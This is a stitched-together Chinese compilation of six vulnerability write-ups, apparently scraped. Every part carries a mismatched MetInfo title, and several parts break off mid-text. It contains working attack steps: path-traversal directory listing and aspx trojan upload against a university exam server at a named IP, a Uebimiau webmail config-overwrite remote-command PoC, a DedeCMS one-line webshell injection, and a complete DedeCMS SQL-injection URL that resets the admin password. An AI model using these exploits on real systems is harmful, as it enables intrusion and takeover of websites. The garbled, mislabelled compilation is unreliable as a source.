MetInfov5.1.3 任意文件上传漏洞漏洞预警

MetInfov5.1.3 任意文件上传漏洞漏洞预警（精选6篇）

MetInfov5.1.3 任意文件上传漏洞漏洞预警 篇1

以某大学的为例:

www.myhack58.com /NPELS

NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址

222.30.60.3/NPELS/CommonService.asmx

及版本号

直接访问

222.30.60.3/NPELS/CommonService.asmx

使用GetTestClientFileList操作，直接 HTTP GET 列目录：

www.myhack58.com /NPELS/CommonService.asmx/GetTestClientFileList?version=1, 0, 0, 2187

进一步列目录(返回的网页很大，可以直接 wget 下来)

xxx/NPELS/CommonService.asmx/GetTestClientFileList?version=../../

发现

http:/xxx/npelsv/editor/editor.htm可以上传，直接上传aspx木马即可，不需要改后缀名或者文件头

上传后继续列目录找到木马地址直接访问即可

OOXX

修复方案：

好像考试系统必须使用 CommonService.asmx

最好配置文件加密或者用别的方式不让它泄露出来

MetInfov5.1.3 任意文件上传漏洞漏洞预警 篇2

最近官方发布了一个安全补丁，官方表述是：该URL安全漏洞会造成用户在客户端伪造URL，执行非法代码。

可是貌似大多数开发者和使用者并没有注意到此漏洞的危害性，应者了了，更不用说有多少人去升级了。随后我对其进行了分析，发现此问题果然是一个非常严重的问题，只要使用了thinkphp框架，就可以直接执行任意php代码。特此发帖预警各位。

我们来分析一下官方的补丁:

/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php

MetInfov5.1.3 任意文件上传漏洞漏洞预警 篇3

地址后面加 /uebimiau/admin/editor.php?load=config 被人拿了 加 /uebimiau/index.php?cmd=id

全部是外国的 ，，，高手可以玩玩，。。。。。。

漏洞公布时间 2009 6 。12

==========================================================

Uebimiau Webmail <= v3.2.0-1.8 Remote File / Overwrite Vulnerabilities

Dork : Uebimiau Webmail v3.2.0-1.8

POC :

/uebimiau/admin/editor.php?load=config

And You Can Write Any Code As

Go

/uebimiau/index.php?cmd=id

See Pic :www.almlf.com/get-6-2009-almlf_com_akszizl2.png

MetInfov5.1.3 任意文件上传漏洞漏洞预警 篇4

注：不好意思了，作者早上才发的版本，晚上就叫偶给报了个0DAY，通知了下作者,刚去官方看了一下,已发布了安全补丁,很快啊..大家可以去网上下没更新版本进行测试...

唉，群里一个朋友发了一个CMS，说用户资料修改部分可能存在注入，说一起分析，本地安装好后发现，没法利用，在magic_quotes_gpc=off的情况下，单引号被转义了，。。

看到include/common.inc.php中的这行，放弃。。

1

2

3

4

5

6

7

8

9

......

if(!get_magic_quotes_gpc)

{

$_POST=deep_addslashes($_POST);

$_GET=deep_addslashes($_GET);

$_COOKIES=deep_addslashes($_COOKIES);

$_REQUEST=deep_addslashes($_REQUEST);

}

织梦网任意代码执行漏洞 篇5

用dedecms 朋友还是小心点吧，

漏洞页面是includeinc_bookfunctions.php

触发页面是 member/story_add_content_action.php

接着就是打开下面的地址：

www.guo3.com/member/story_add_content_action.php?chapterid=1&arcID=1&body=?>后面加上一句话代码，

当你看到成功的提示就表示成功了。

MetInfov5.1.3 任意文件上传漏洞漏洞预警 篇6

漏洞描述:起因是全局变量$GLOBALS可以被任意修改,以下举一例,代码如下:

代码如下:

// include/dedesql.class.php

if(isset($GLOBALS[‘arrs1‘]))

{

$v1 = $v2 = ‘‘;

for($i=0;isset($arrs1[$i]);$i++)

{

$v1 .= chr($arrs1[$i]);

}

for($i=0;isset($arrs2[$i]);$i++)

{

$v2 .= chr($arrs2[$i]); //解码ascii

}

$GLOBALS[$v1] .= $v2; www.jb51.net//注意这里不是覆盖，是+

}

function SetQuery($sql)

{

$prefix=”dede_“;

$sql = str_replace($prefix,$GLOBALS[‘cfg_dbprefix‘],$sql);

$this->queryString = $sql;

}

下面说下绕过80sec防注入的方法.

同一文件中,有两个执行SQL的函数,ExecuteNoneQuery和ExecuteNoneQuery2

而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件,代码如下:

代码如下:

// plus/download.php

else if($open==1)

{

$id = isset($id) && is_numeric($id) ? $id : 0;

$link = base64_decode(urldecode($link));

$hash = md5($link);

//这里的#@_是可以控制的

$rs = $dsql->ExecuteNoneQuery2(”UPDATE `dede_downloads` SET downloads = downloads + 1 WHERE hash=‘$hash‘ “);

if($rs <= 0) { $query = ” INSERT INTO `dede_downloads`(`hash`,`id`,`downloads`) VALUES(‘$hash‘,‘$id‘,1); “; $dsql->ExecNoneQuery($query);

}

header(”location:$link“);

exit;

}

构造SQL语句(提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc),代码如下:

代码如下:

admin` SET `userid`=‘spider‘, `pwd`=‘f297a57a5a743894a0e4‘ where id=1 #

完整SQL语句,代码如下:

代码如下:

UPDATE `dede_admin` SET `userid`=‘spider‘, `pwd`=‘f297a57a5a743894a0e4‘ where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash=‘$hash‘

测试方法,代码如下:

代码如下:

// 本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35

如果不出问题,后台登录用户spider密码admin

安全建议:将应用到ExecuteNoneQuery2函数的文件均改为使用ExecuteNoneQuery函数并且根据情况,调试程序尽可能不要爆出绝对路径地址.